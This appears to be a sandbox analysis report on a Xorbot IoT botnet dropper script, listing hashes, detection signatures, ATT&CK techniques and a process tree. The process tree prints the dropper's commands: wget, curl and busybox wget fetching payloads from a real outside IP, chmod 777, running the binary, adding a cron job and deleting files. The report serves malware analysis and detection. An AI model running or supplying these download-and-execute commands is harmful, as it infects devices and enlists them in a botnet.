xorbot | 37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45

Analysis

max time kernel
149s
max time network
145s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 18:52

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

d8126e215a151514ecccbac0d89fa606
SHA1

b1a73227b60aed5bec1dfb839fb3284e529c3f14
SHA256

37a5a3e5ce57b6a774808847b27b716c7809d8da5349d0a6c0ed0d945fd9de45
SHA512

c5fb3b89c403a94cb75a375c82d4f541f3d1d290dd37156449ed63ae0d5ffa578a951e9068f65c8a353bd8e482cb73305b19a7401302a703351b3d3540cc7f7a
SSDEEP

192:NmZcq5vRAiAeAdAgAYA4bAiAeAdAgAYAuQn:Nm/5vRVxmnfTbVxmnfY

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
783	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	784	bins.sh

Renames itself 1 IoCs

pid	Process
785	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.EqT6Ea	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/108/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/143/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/268/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/270/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/6/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/109/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/147/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/11/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/24/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/25/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/163/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/586/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/642/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/2/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/15/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/19/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/21/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/278/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/27/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/309/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/645/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/9/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/26/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/29/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/269/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/759/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/8/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/16/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/137/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/277/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/20/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/42/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/321/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/581/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/644/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/794/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/4/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/140/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/219/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/781/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/790/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/5/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/17/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/12/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/22/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/23/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/43/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/98/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/587/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/791/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/10/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/76/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/299/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/584/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/14/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/18/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/598/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/643/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/filesystems	crontab

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	busybox
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:751
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Writes file to tmp directory
  PID:782
- /bin/chmod
  chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:784
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:786
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:787
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:788
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:789
- /bin/rm
  rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:791
- /usr/bin/wget
  wget http://37.44.238.88/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:794

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.EqT6Ea

Filesize
210B

MD5
a387a6e2f5a3b6f3f571d02da49f17e1

SHA1
7b60bd24eed7dbadc95e3d117be1b019e0373d75

SHA256
fab5d79ca61da08a0ad36bdb98e8a272d106cb8cceebe6724b8cdc51c4ab55c3

SHA512
b155d8bc52700b1c63dd65f56e7e9a56dfb64652a8d16b5c796c5231b24c244742859283cd3692a471a3584f6392f073fa41c8fa3fd0592521d61b5f3834ec45

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads